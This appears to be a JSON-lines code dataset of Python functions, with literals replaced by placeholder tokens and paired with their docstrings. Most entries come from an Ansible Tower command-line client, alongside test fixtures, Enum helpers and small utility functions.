**kwargs)<EOL>obj.endpoint = old_endpoint<EOL>return result<EOL><DEDENT>def decorator_with_pk(obj, pk=None, *args, **kwargs):<EOL><INDENT>old_endpoint = obj.endpoint<EOL>new_endpoint = helper(kwargs, obj)<EOL>if is_create:<EOL><INDENT>obj.endpoint = new_endpoint<EOL><DEDENT>result = func(obj, pk=pk, *args, **kwargs)<EOL>obj.endpoint = old_endpoint<EOL>return result<EOL><DEDENT>decorator = decorator_with_pk if has_pk else decorator_without_pk<EOL>for item in CLICK_ATTRS:<EOL><INDENT>setattr(decorator, item, getattr(func, item, []))<EOL><DEDENT>decorator.__doc__ = func.__doc__<EOL>return decorator<EOL>", "docstring": "Decorator to aggregate unified_jt-related fields.\n\n    Args:\n        func: The CURD method to be decorated.\n        is_create: Boolean flag showing whether this method is create.\n        has_pk: Boolean flag showing whether this method uses pk as argument.\n\n    Returns:\n        A function with necessary click-related attributes whose keyworded\n        arguments are aggregated.\n\n    Raises:\n        exc.UsageError: Either more than one unified jt fields are\n            provided, or none is provided when is_create flag is set.", "id": "f3379:m0"}
{"signature": "def __getattribute__(self, attr):", "body": "if attr == '<STR_LIT>':<EOL><INDENT>return object.__getattribute__(self, '<STR_LIT>')<EOL><DEDENT>elif attr == '<STR_LIT>':<EOL><INDENT>raise AttributeError<EOL><DEDENT>return super(Resource, self).__getattribute__(attr)<EOL>", "docstring": "Alias the stdout to `summary` specially for workflow", "id": "f3380:c0:m0"}
{"signature": "def lookup_stdout(self, pk=None, start_line=None, end_line=None,<EOL>full=True):", "body": "uj_res = get_resource('<STR_LIT>')<EOL>query_params = (('<STR_LIT>', pk),<EOL>('<STR_LIT>', '<STR_LIT>'),<EOL>('<STR_LIT>', '<STR_LIT>'))<EOL>jobs_list = uj_res.list(all_pages=True, query=query_params)<EOL>if jobs_list['<STR_LIT:count>'] == <NUM_LIT:0>:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return_content = ResSubcommand(uj_res)._format_human(jobs_list)<EOL>lines = return_content.split('<STR_LIT:\\n>')<EOL>if not full:<EOL><INDENT>lines = lines[:-<NUM_LIT:1>]<EOL><DEDENT>N = len(lines)<EOL>start_range = start_line<EOL>if start_line is None:<EOL><INDENT>start_range = <NUM_LIT:0><EOL><DEDENT>elif start_line > N:<EOL><INDENT>start_range = N<EOL><DEDENT>end_range = end_line<EOL>if end_line is None or end_line > N:<EOL><INDENT>end_range = N<EOL><DEDENT>lines = lines[start_range:end_range]<EOL>return_content = '<STR_LIT:\\n>'.join(lines)<EOL>if len(lines) > <NUM_LIT:0>:<EOL><INDENT>return_content += '<STR_LIT:\\n>'<EOL><DEDENT>return return_content<EOL>", "docstring": "Internal method that lies to our `monitor` method by returning\na scorecard for the workflow job where the standard out\nwould have been expected.", "id": "f3380:c0:m1"}
{"signature": "@resources.command<EOL><INDENT>def summary(self):<DEDENT>", "body": "pass<EOL>", "docstring": "Placeholder to get swapped out for `stdout`.\n\n        =====API DOCS=====\n        foobar\n        =====API DOCS=====", "id": "f3380:c0:m2"}
{"signature": "@resources.command(<EOL>use_fields_as_options=('<STR_LIT>', '<STR_LIT>')<EOL>)<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=int,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def launch(self, workflow_job_template=None, monitor=False, wait=False,<EOL>timeout=None, extra_vars=None, **kwargs):<DEDENT>", "body": "if extra_vars is not None and len(extra_vars) > <NUM_LIT:0>:<EOL><INDENT>kwargs['<STR_LIT>'] = parser.process_extra_vars(extra_vars)<EOL><DEDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>self._pop_none(kwargs)<EOL>post_response = client.post('<STR_LIT>'.format(<EOL>workflow_job_template), data=kwargs).json()<EOL>workflow_job_id = post_response['<STR_LIT:id>']<EOL>post_response['<STR_LIT>'] = True<EOL>if monitor:<EOL><INDENT>return self.monitor(workflow_job_id, timeout=timeout)<EOL><DEDENT>elif wait:<EOL><INDENT>return self.wait(workflow_job_id, timeout=timeout)<EOL><DEDENT>return post_response<EOL>", "docstring": "Launch a new workflow job based on a workflow job template.\n\n        Creates a new workflow job in Ansible Tower, starts it, and\n        returns back an ID in order for its status to be monitored.\n\n        =====API DOCS=====\n        Launch a new workflow job based on a workflow job template.\n\n        :param workflow_job_template: Primary key or name of the workflow job template to launch new job.\n        :type workflow_job_template: str\n        :param monitor: Flag that if set, immediately calls ``monitor`` on the newly launched workflow job rather\n                        than exiting with a success.\n        :type monitor: bool\n        :param wait: Flag that if set, monitor the status of the workflow job, but do not print while job is\n                     in progress.\n        :type wait: bool\n        :param timeout: If provided with ``monitor`` flag set, this attempt will time out after the given number\n                        of seconds.\n        :type timeout: int\n        :param extra_vars: yaml formatted texts that contains extra variables to pass on.\n        :type extra_vars: array of strings\n        :param `**kwargs`: Fields needed to create and launch a workflow job.\n        :returns: Result of subsequent ``monitor`` call if ``monitor`` flag is on; Result of subsequent ``wait``\n                  call if ``wait`` flag is on; loaded JSON output of the job launch if none of the two flags are on.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3380:c0:m3"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=int,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def create(self, organization=None, monitor=False, wait=False,<EOL>timeout=None, fail_on_found=False, force_on_exists=False,<EOL>**kwargs):<DEDENT>", "body": "if '<STR_LIT>' in kwargs and '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>')<EOL><DEDENT>post_associate = False<EOL>if organization:<EOL><INDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>r = client.options('<STR_LIT>')<EOL>if '<STR_LIT>' in r.json().get('<STR_LIT>', {}).get('<STR_LIT:POST>', {}):<EOL><INDENT>kwargs['<STR_LIT>'] = organization<EOL><DEDENT>else:<EOL><INDENT>post_associate = True<EOL><DEDENT><DEDENT>answer = super(Resource, self).write(<EOL>create_on_missing=True,<EOL>fail_on_found=fail_on_found, force_on_exists=force_on_exists,<EOL>**kwargs<EOL>)<EOL>project_id = answer['<STR_LIT:id>']<EOL>if post_associate:<EOL><INDENT>org_resource = get_resource('<STR_LIT>')<EOL>org_data = org_resource.get(organization)<EOL>org_pk = org_data['<STR_LIT:id>']<EOL>debug.log(\"<STR_LIT>\",<EOL>header='<STR_LIT>', nl=<NUM_LIT:1>)<EOL>org_resource._assoc('<STR_LIT>', org_pk, project_id)<EOL><DEDENT>if monitor and answer.get('<STR_LIT>', False):<EOL><INDENT>return self.monitor(pk=None, parent_pk=project_id, timeout=timeout)<EOL><DEDENT>elif wait and answer.get('<STR_LIT>', False):<EOL><INDENT>return self.wait(pk=None, parent_pk=project_id, timeout=timeout)<EOL><DEDENT>return answer<EOL>", "docstring": "Create a new item of resource, with or w/o org.\n        This would be a shared class with user, but it needs the ability\n        to monitor if the flag is set.\n\n        =====API DOCS=====\n        Create a project and, if related flags are set, monitor or wait the triggered initial project update.\n\n        :param monitor: Flag that if set, immediately calls ``monitor`` on the newly triggered project update\n                        rather than exiting with a success.\n        :type monitor: bool\n        :param wait: Flag that if set, monitor the status of the triggered project update, but do not print\n                     while it is in progress.\n        :type wait: bool\n        :param timeout: If provided with ``monitor`` flag set, this attempt will time out after the given number\n                        of seconds.\n        :type timeout: bool\n        :param fail_on_found: Flag that if set, the operation fails if an object matching the unique criteria\n                              already exists.\n        :type fail_on_found: bool\n        :param force_on_exists: Flag that if set, then if a match is found on unique fields, other fields will\n                                be updated to the provided values.; If unset, a match causes the request to be\n                                a no-op.\n        :type force_on_exists: bool\n        :param `**kwargs`: Keyword arguments which, all together, will be used as POST body to create the\n                           resource object.\n        :returns: A dictionary combining the JSON output of the created resource, as well as two extra fields:\n                  \"changed\", a flag indicating if the resource is created successfully; \"id\", an integer which\n                  is the primary key of the created object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3383:c0:m0"}
{"signature": "@resources.command(use_fields_as_options=(<EOL>'<STR_LIT:name>', '<STR_LIT:description>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>', '<STR_LIT>',<EOL>'<STR_LIT>', '<STR_LIT>', '<STR_LIT>'<EOL>))<EOL><INDENT>def modify(self, pk=None, create_on_missing=False, **kwargs):<DEDENT>", "body": "<EOL>if '<STR_LIT>' in kwargs and '<STR_LIT>' not in kwargs:<EOL><INDENT>kwargs['<STR_LIT>'] = kwargs.pop('<STR_LIT>')<EOL><DEDENT>return super(Resource, self).write(<EOL>pk, create_on_missing=create_on_missing,<EOL>force_on_exists=True, **kwargs<EOL>)<EOL>", "docstring": "Modify an already existing.\n\n        To edit the project's organizations, see help for organizations.\n\n        Fields in the resource's `identity` tuple can be used in lieu of a\n        primary key for a lookup; in such a case, only other fields are\n        written.\n\n        To modify unique fields, you must use the primary key for the lookup.\n\n        =====API DOCS=====\n        Modify an already existing project.\n\n        :param pk: Primary key of the resource to be modified.\n        :type pk: int\n        :param create_on_missing: Flag that if set, a new object is created if ``pk`` is not set and objects\n                                  matching the appropriate unique criteria is not found.\n        :type create_on_missing: bool\n        :param `**kwargs`: Keyword arguments which, all together, will be used as PATCH body to modify the\n                           resource object. if ``pk`` is not set, key-value pairs of ``**kwargs`` which are\n                           also in resource's identity will be used to lookup existing reosource.\n        :returns: A dictionary combining the JSON output of the modified resource, as well as two extra fields:\n                  \"changed\", a flag indicating if the resource is successfully updated; \"id\", an integer which\n                  is the primary key of the updated object.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3383:c0:m1"}
{"signature": "@resources.command(use_fields_as_options=('<STR_LIT:name>', '<STR_LIT>'))<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>')<EOL>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', required=False, type=int,<EOL>help='<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL>def update(self, pk=None, create_on_missing=False, monitor=False,<EOL>wait=False, timeout=None, name=None, organization=None):<DEDENT>", "body": "<EOL>project = self.get(pk, name=name, organization=organization)<EOL>pk = project['<STR_LIT:id>']<EOL>debug.log('<STR_LIT>',<EOL>header='<STR_LIT>')<EOL>result = client.get('<STR_LIT>' % pk)<EOL>if not result.json()['<STR_LIT>']:<EOL><INDENT>raise exc.CannotStartJob('<STR_LIT>')<EOL><DEDENT>debug.log('<STR_LIT>', header='<STR_LIT>')<EOL>result = client.post('<STR_LIT>' % pk)<EOL>project_update_id = result.json()['<STR_LIT>']<EOL>if monitor:<EOL><INDENT>return self.monitor(project_update_id, parent_pk=pk,<EOL>timeout=timeout)<EOL><DEDENT>elif wait:<EOL><INDENT>return self.wait(project_update_id, parent_pk=pk, timeout=timeout)<EOL><DEDENT>return {<EOL>'<STR_LIT:id>': project_update_id,<EOL>'<STR_LIT>': True,<EOL>}<EOL>", "docstring": "Trigger a project update job within Ansible Tower.\n        Only meaningful on non-manual projects.\n\n        =====API DOCS=====\n        Update the given project.\n\n        :param pk: Primary key of the project to be updated.\n        :type pk: int\n        :param monitor: Flag that if set, immediately calls ``monitor`` on the newly launched project update\n                        rather than exiting with a success.\n        :type monitor: bool\n        :param wait: Flag that if set, monitor the status of the project update, but do not print while it is\n                     in progress.\n        :type wait: bool\n        :param timeout: If provided with ``monitor`` flag set, this attempt will time out after the given number\n                        of seconds.\n        :type timeout: int\n        :param name: Name of the project to be updated if ``pk`` is not set.\n        :type name: str\n        :param organization: Primary key or name of the organization the project to be updated belonging to if\n                             ``pk`` is not set.\n        :type organization: str\n        :returns: Result of subsequent ``monitor`` call if ``monitor`` flag is on; Result of subsequent ``wait``\n                  call if ``wait`` flag is on; dictionary of \"status\" if none of the two flags are on.\n        :rtype: dict\n        :raises tower_cli.exceptions.CannotStartJob: When the project cannot be updated.\n\n        =====API DOCS=====", "id": "f3383:c0:m2"}
{"signature": "@resources.command<EOL><INDENT>@click.option('<STR_LIT>', is_flag=True, default=False,<EOL>help='<STR_LIT>')<EOL>def status(self, pk=None, detail=False, **kwargs):<DEDENT>", "body": "<EOL>job = self.last_job_data(pk, **kwargs)<EOL>if detail:<EOL><INDENT>return job<EOL><DEDENT>return {<EOL>'<STR_LIT>': job['<STR_LIT>'],<EOL>'<STR_LIT>': job['<STR_LIT>'],<EOL>'<STR_LIT:status>': job['<STR_LIT:status>'],<EOL>}<EOL>", "docstring": "Print the status of the most recent update.\n\n        =====API DOCS=====\n        Print the status of the most recent update.\n\n        :param pk: Primary key of the resource to retrieve status from.\n        :type pk: int\n        :param detail: Flag that if set, return the full JSON of the job resource rather than a status summary.\n        :type detail: bool\n        :param `**kwargs`: Keyword arguments used to look up resource object to retrieve status from if ``pk``\n                           is not provided.\n        :returns: full loaded JSON of the specified unified job if ``detail`` flag is on; trimed JSON containing\n                  only \"elapsed\", \"failed\" and \"status\" fields of the unified job if ``detail`` flag is off.\n        :rtype: dict\n        =====API DOCS=====", "id": "f3383:c0:m3"}
{"signature": "def _parent_filter(self, parent, relationship, **kwargs):", "body": "if parent is None or relationship is None:<EOL><INDENT>return {}<EOL><DEDENT>parent_filter_kwargs = {}<EOL>query_params = ((self._reverse_rel_name(relationship), parent),)<EOL>parent_filter_kwargs['<STR_LIT>'] = query_params<EOL>if kwargs.get('<STR_LIT>', None) is None:<EOL><INDENT>parent_data = self.read(pk=parent)['<STR_LIT>'][<NUM_LIT:0>]<EOL>parent_filter_kwargs['<STR_LIT>'] = parent_data[<EOL>'<STR_LIT>']<EOL><DEDENT>return parent_filter_kwargs<EOL>", "docstring": "Returns filtering parameters to limit a search to the children\nof a particular node by a particular relationship.", "id": "f3384:c0:m3"}
{"signature": "@resources.command<EOL><INDENT>@unified_job_template_options<EOL>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'), required=False)<EOL>def associate_success_node(self, parent, child=None, **kwargs):<DEDENT>", "body": "return self._assoc_or_create('<STR_LIT:success>', parent, child, **kwargs)<EOL>", "docstring": "Add a node to run on success.\n\n        =====API DOCS=====\n        Add a node to run on success.\n\n        :param parent: Primary key of parent node to associate success node to.\n        :type parent: int\n        :param child: Primary key of child node to be associated.\n        :type child: int\n        :param `**kwargs`: Fields used to create child node if ``child`` is not provided.\n        :returns: Dictionary of only one key \"changed\", which indicates whether the association succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3384:c0:m6"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>def disassociate_success_node(self, parent, child):<DEDENT>", "body": "return self._disassoc(<EOL>self._forward_rel_name('<STR_LIT:success>'), parent, child)<EOL>", "docstring": "Remove success node.\n        The resulatant 2 nodes will both become root nodes.\n\n        =====API DOCS=====\n        Remove success node.\n\n        :param parent: Primary key of parent node to disassociate success node from.\n        :type parent: int\n        :param child: Primary key of child node to be disassociated.\n        :type child: int\n        :returns: Dictionary of only one key \"changed\", which indicates whether the disassociation succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3384:c0:m7"}
{"signature": "@resources.command<EOL><INDENT>@unified_job_template_options<EOL>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'), required=False)<EOL>def associate_failure_node(self, parent, child=None, **kwargs):<DEDENT>", "body": "return self._assoc_or_create('<STR_LIT>', parent, child, **kwargs)<EOL>", "docstring": "Add a node to run on failure.\n\n        =====API DOCS=====\n        Add a node to run on failure.\n\n        :param parent: Primary key of parent node to associate failure node to.\n        :type parent: int\n        :param child: Primary key of child node to be associated.\n        :type child: int\n        :param `**kwargs`: Fields used to create child node if ``child`` is not provided.\n        :returns: Dictionary of only one key \"changed\", which indicates whether the association succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3384:c0:m8"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>def disassociate_failure_node(self, parent, child):<DEDENT>", "body": "return self._disassoc(<EOL>self._forward_rel_name('<STR_LIT>'), parent, child)<EOL>", "docstring": "Remove a failure node link.\n        The resulatant 2 nodes will both become root nodes.\n\n        =====API DOCS=====\n        Remove a failure node link.\n\n        :param parent: Primary key of parent node to disassociate failure node from.\n        :type parent: int\n        :param child: Primary key of child node to be disassociated.\n        :type child: int\n        :returns: Dictionary of only one key \"changed\", which indicates whether the disassociation succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3384:c0:m9"}
{"signature": "@resources.command<EOL><INDENT>@unified_job_template_options<EOL>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'), required=False)<EOL>def associate_always_node(self, parent, child=None, **kwargs):<DEDENT>", "body": "return self._assoc_or_create('<STR_LIT>', parent, child, **kwargs)<EOL>", "docstring": "Add a node to always run after the parent is finished.\n\n        =====API DOCS=====\n        Add a node to always run after the parent is finished.\n\n        :param parent: Primary key of parent node to associate always node to.\n        :type parent: int\n        :param child: Primary key of child node to be associated.\n        :type child: int\n        :param `**kwargs`: Fields used to create child node if ``child`` is not provided.\n        :returns: Dictionary of only one key \"changed\", which indicates whether the association succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3384:c0:m10"}
{"signature": "@resources.command(use_fields_as_options=False)<EOL><INDENT>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>@click.argument('<STR_LIT>', type=types.Related('<STR_LIT>'))<EOL>def disassociate_always_node(self, parent, child):<DEDENT>", "body": "return self._disassoc(<EOL>self._forward_rel_name('<STR_LIT>'), parent, child)<EOL>", "docstring": "Remove an always node link.\n        The resultant 2 nodes will both become root nodes.\n\n        =====API DOCS=====\n        Remove an always node link.\n\n        :param parent: Primary key of parent node to disassociate always node from.\n        :type parent: int\n        :param child: Primary key of child node to be disassociated.\n        :type child: int\n        :returns: Dictionary of only one key \"changed\", which indicates whether the disassociation succeeded.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3384:c0:m11"}
{"signature": "@resources.command(ignore_defaults=True, no_args_is_help=False)<EOL><INDENT>@click.option('<STR_LIT>', type=types.Related('<STR_LIT>'), help='<STR_LIT>')<EOL>@click.option('<STR_LIT>', help='<STR_LIT>')<EOL>def list(self, group=None, host_filter=None, **kwargs):<DEDENT>", "body": "if group:<EOL><INDENT>kwargs['<STR_LIT>'] = kwargs.get('<STR_LIT>', ()) + (('<STR_LIT>', group),)<EOL><DEDENT>if host_filter:<EOL><INDENT>kwargs['<STR_LIT>'] = kwargs.get('<STR_LIT>', ()) + (('<STR_LIT>', host_filter),)<EOL><DEDENT>return super(Resource, self).list(**kwargs)<EOL>", "docstring": "Return a list of hosts.\n\n        =====API DOCS=====\n        Retrieve a list of hosts.\n\n        :param group: Primary key or name of the group whose hosts will be listed.\n        :type group: str\n        :param all_pages: Flag that if set, collect all pages of content from the API when returning results.\n        :type all_pages: bool\n        :param page: The page to show. Ignored if all_pages is set.\n        :type page: int\n        :param query: Contains 2-tuples used as query parameters to filter resulting resource objects.\n        :type query: list\n        :param `**kwargs`: Keyword arguments list of available fields used for searching resource objects.\n        :returns: A JSON object containing details of all resource objects returned by Tower backend.\n        :rtype: dict\n\n        =====API DOCS=====", "id": "f3385:c0:m0"}
{"signature": "@resources.command(ignore_defaults=True)<EOL><INDENT>def list_facts(self, pk=None, **kwargs):<DEDENT>", "body": "res = self.get(pk=pk, **kwargs)<EOL>url = self.endpoint + '<STR_LIT>' % (res['<STR_LIT:id>'], '<STR_LIT>')<EOL>return client.get(url, params={}).json()<EOL>", "docstring": "Return a JSON object of all available facts of the given host.\n\n        Note global option --format is not available here, as the output would always be JSON-formatted.\n\n        =====API DOCS=====\n        List all available facts of the given host.\n\n        :param pk: Primary key of the target host.\n        :type pk: int\n        :param `**kwargs`: Keyword arguments list of available fields used for searching resource objects.\n        :returns: A JSON object of all available facts of the given host.\n        :rtype: dict\n        =====API DOCS=====", "id": "f3385:c0:m1"}
{"signature": "@resources.command(ignore_defaults=True)<EOL><INDENT>def insights(self, pk=None, **kwargs):<DEDENT>", "body": "res = self.get(pk=pk, **kwargs)<EOL>url = self.endpoint + '<STR_LIT>' % (res['<STR_LIT:id>'], '<STR_LIT>')<EOL>return client.get(url, params={}).json()<EOL>", "docstring": "Return a JSON object of host insights.\n\n        Note global option --format is not available here, as the output would always be JSON-formatted.\n\n        =====API DOCS=====\n        List host insights.\n\n        :param pk: Primary key of the target host.\n        :type pk: int\n        :param `**kwargs`: Keyword arguments list of available fields used for searching resource objects.\n        :returns: A JSON object of host insights.\n        :rtype: dict\n        =====API DOCS=====", "id": "f3385:c0:m2"}
{"signature": "def register_get(t):", "body": "t.register_json('<STR_LIT>',<EOL>{<EOL>'<STR_LIT:id>': <NUM_LIT>, '<STR_LIT>': <NUM_LIT:1>, '<STR_LIT:status>': '<STR_LIT>',<EOL>'<STR_LIT>': <NUM_LIT>, '<STR_LIT>': <NUM_LIT:0.0>,<EOL>}, method='<STR_LIT:GET>')<EOL>", "docstring": "After starting job, the launch method may grab info about\n    the job just launched from this endpoint", "id": "f3399:m0"}
{"signature": "def standard_registration(t, **kwargs):", "body": "<EOL>t.register_json('<STR_LIT>', {<EOL>'<STR_LIT:id>': <NUM_LIT:1>,<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': {'<STR_LIT>': '<STR_LIT>'},<EOL>})<EOL>register_get(t)<EOL>t.register_json('<STR_LIT>', {}, method='<STR_LIT:GET>')<EOL>data = {'<STR_LIT:id>': <NUM_LIT>}<EOL>data.update(kwargs)<EOL>t.register_json('<STR_LIT>', data, method='<STR_LIT:POST>')<EOL>", "docstring": "Endpoints common to launching any job with template #1 and\n    is automatically assigned to job #42. kwargs is used to provide\n    extra return fields of job launch", "id": "f3399:m1"}
{"signature": "def jt_vars_registration(t, extra_vars):", "body": "t.register_json('<STR_LIT>', {<EOL>'<STR_LIT>': True,<EOL>'<STR_LIT>': extra_vars,<EOL>'<STR_LIT:id>': <NUM_LIT:1>,<EOL>'<STR_LIT:name>': '<STR_LIT>',<EOL>'<STR_LIT>': {'<STR_LIT>': '<STR_LIT>'},<EOL>})<EOL>register_get(t)<EOL>t.register_json('<STR_LIT>', {'<STR_LIT:version>': '<STR_LIT>'}, method='<STR_LIT:GET>')<EOL>t.register_json('<STR_LIT>', {}, method='<STR_LIT:GET>')<EOL>t.register_json('<STR_LIT>', {'<STR_LIT:id>': <NUM_LIT>},<EOL>method='<STR_LIT:POST>')<EOL>", "docstring": "Endpoints that are needed to get information from job template.\n    This particular combination also entails\n    1) version of Tower - 2.2.0\n    2) successful job launch, id=42\n    3) prompts user for variables on launch", "id": "f3399:m2"}
{"signature": "def setUp(self):", "body": "class BasicResource(models.Resource):<EOL><INDENT>endpoint = '<STR_LIT>'<EOL>name = models.Field(unique=True)<EOL><DEDENT>self.resource = BasicResource()<EOL>self.command = ResSubcommand(self.resource)<EOL>", "docstring": "Install a resource instance sufficient for testing common\n        things with subcommands.", "id": "f3414:c0:m0"}
{"signature": "def parse_requirements(filename):", "body": "reqs = []<EOL>version_spec_in_play = None<EOL>for line in open(filename, '<STR_LIT:r>').read().strip().split('<STR_LIT:\\n>'):<EOL><INDENT>if not line.strip():<EOL><INDENT>continue<EOL><DEDENT>if not line.startswith('<STR_LIT:#>'):<EOL><INDENT>reqs.append(line)<EOL>continue<EOL><DEDENT>match = re.search(r'<STR_LIT>'<EOL>r'<STR_LIT>', line)<EOL>if match:<EOL><INDENT>version_spec_in_play = match.groupdict()<EOL>for key in ('<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>version_spec_in_play[key] = int(version_spec_in_play[key])<EOL><DEDENT>continue<EOL><DEDENT>if '<STR_LIT:U+0020>' not in line[<NUM_LIT:1>:].strip() and version_spec_in_play:<EOL><INDENT>package = line[<NUM_LIT:1>:].strip()<EOL>op = version_spec_in_play['<STR_LIT>']<EOL>vspec = (version_spec_in_play['<STR_LIT>'],<EOL>version_spec_in_play['<STR_LIT>'])<EOL>if '<STR_LIT:=>' in op and sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] == vspec:<EOL><INDENT>reqs.append(package)<EOL><DEDENT>elif '<STR_LIT:>>' in op and sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] > vspec:<EOL><INDENT>reqs.append(package)<EOL><DEDENT>elif '<STR_LIT:<>' in op and sys.version_info[<NUM_LIT:0>:<NUM_LIT:2>] < vspec:<EOL><INDENT>reqs.append(package)<EOL><DEDENT><DEDENT><DEDENT>return reqs<EOL>", "docstring": "Parse out a list of requirements from the given requirements\n    requirements file.", "id": "f3422:m0"}
{"signature": "def combine_files(*args):", "body": "file_contents = []<EOL>for filename in args:<EOL><INDENT>with codecs.open(filename, mode='<STR_LIT:r>', encoding='<STR_LIT:utf8>') as f:<EOL><INDENT>file_contents.append(f.read())<EOL><DEDENT><DEDENT>return \"<STR_LIT>\".join(file_contents)<EOL>", "docstring": "returns a string of all the strings in *args combined together,\n    with two line breaks between them", "id": "f3422:m1"}
{"signature": "@classmethod<EOL><INDENT>def lookup(cls, key, get=False):<DEDENT>", "body": "if get:<EOL><INDENT>item = cls._item_dict.get(key)<EOL>return item.name if item else key<EOL><DEDENT>return cls._item_dict[key].name<EOL>", "docstring": "Returns the label for a given Enum key", "id": "f3426:c2:m4"}
{"signature": "@classmethod<EOL><INDENT>def keys(cls):<DEDENT>", "body": "return cls._item_dict.keys()<EOL>", "docstring": "Returns all of the Enum keys", "id": "f3426:c2:m5"}
{"signature": "@classmethod<EOL><INDENT>def values(cls):<DEDENT>", "body": "return [x.name for x in cls._item_dict.values()]<EOL>", "docstring": "Returns all of the Enum values", "id": "f3426:c2:m6"}
{"signature": "@classmethod<EOL><INDENT>def items(cls):<DEDENT>", "body": "return [(x[<NUM_LIT:0>], x[<NUM_LIT:1>].name) for x in cls._item_dict.items()]<EOL>", "docstring": "Returns pairs of Enum keys and values", "id": "f3426:c2:m7"}
{"signature": "@classmethod<EOL><INDENT>def verbose(cls, key=False, default='<STR_LIT>'):<DEDENT>", "body": "if key is False:<EOL><INDENT>items = cls._item_dict.values()<EOL>return [(x.key, x.value) for x in sorted(items, key=lambda x:x.sort or x.key)]<EOL><DEDENT>item = cls._item_dict.get(key)<EOL>return item.value if item else default<EOL>", "docstring": "Returns the verbose name for a given enum value", "id": "f3426:c2:m8"}
{"signature": "def logger(name=None, save=False):", "body": "logger = logging.getLogger(name)<EOL>if save:<EOL><INDENT>logformat = '<STR_LIT>'<EOL>log_file_path = '<STR_LIT>'  <EOL>open(log_file_path, '<STR_LIT:w>').write('<STR_LIT>')  <EOL>logger.setLevel(logging.DEBUG)<EOL>logger_handler = logging.FileHandler(log_file_path)<EOL>logger_handler.setFormatter(logging.Formatter(logformat))<EOL><DEDENT>else:<EOL><INDENT>logger_handler = NullHandler()<EOL><DEDENT>logger.addHandler(logger_handler)<EOL>return logger<EOL>", "docstring": "Init and configure logger.", "id": "f3432:m0"}
{"signature": "def num2hex(self, num):", "body": "temp = '<STR_LIT>'<EOL>for i in range(<NUM_LIT:0>, <NUM_LIT:4>):<EOL><INDENT>x = self.hexChars[ ( num >> (i * <NUM_LIT:8> + <NUM_LIT:4>) ) & <NUM_LIT> ]<EOL>y = self.hexChars[ ( num >> (i * <NUM_LIT:8>) ) & <NUM_LIT> ]<EOL>temp += (x + y)<EOL><DEDENT>return temp<EOL>", "docstring": "Convert a decimal number to hexadecimal", "id": "f3435:c0:m2"}
{"signature": "def baseId(resource_id, return_version=False):", "body": "version = <NUM_LIT:0><EOL>resource_id = resource_id + <NUM_LIT>  <EOL>while resource_id > <NUM_LIT>:  <EOL><INDENT>version += <NUM_LIT:1><EOL>if version == <NUM_LIT:1>:<EOL><INDENT>resource_id -= <NUM_LIT>  <EOL><DEDENT>elif version == <NUM_LIT:2>:<EOL><INDENT>resource_id -= <NUM_LIT>  <EOL><DEDENT>else:<EOL><INDENT>resource_id -= <NUM_LIT>  <EOL><DEDENT><DEDENT>if return_version:<EOL><INDENT>return resource_id, version - <NUM_LIT>  <EOL><DEDENT>return resource_id<EOL>", "docstring": "Calculate base id and version from a resource id.\n\n    :params resource_id: Resource id.\n    :params return_version: (optional) True if You need version, returns (resource_id, version).", "id": "f3437:m0"}
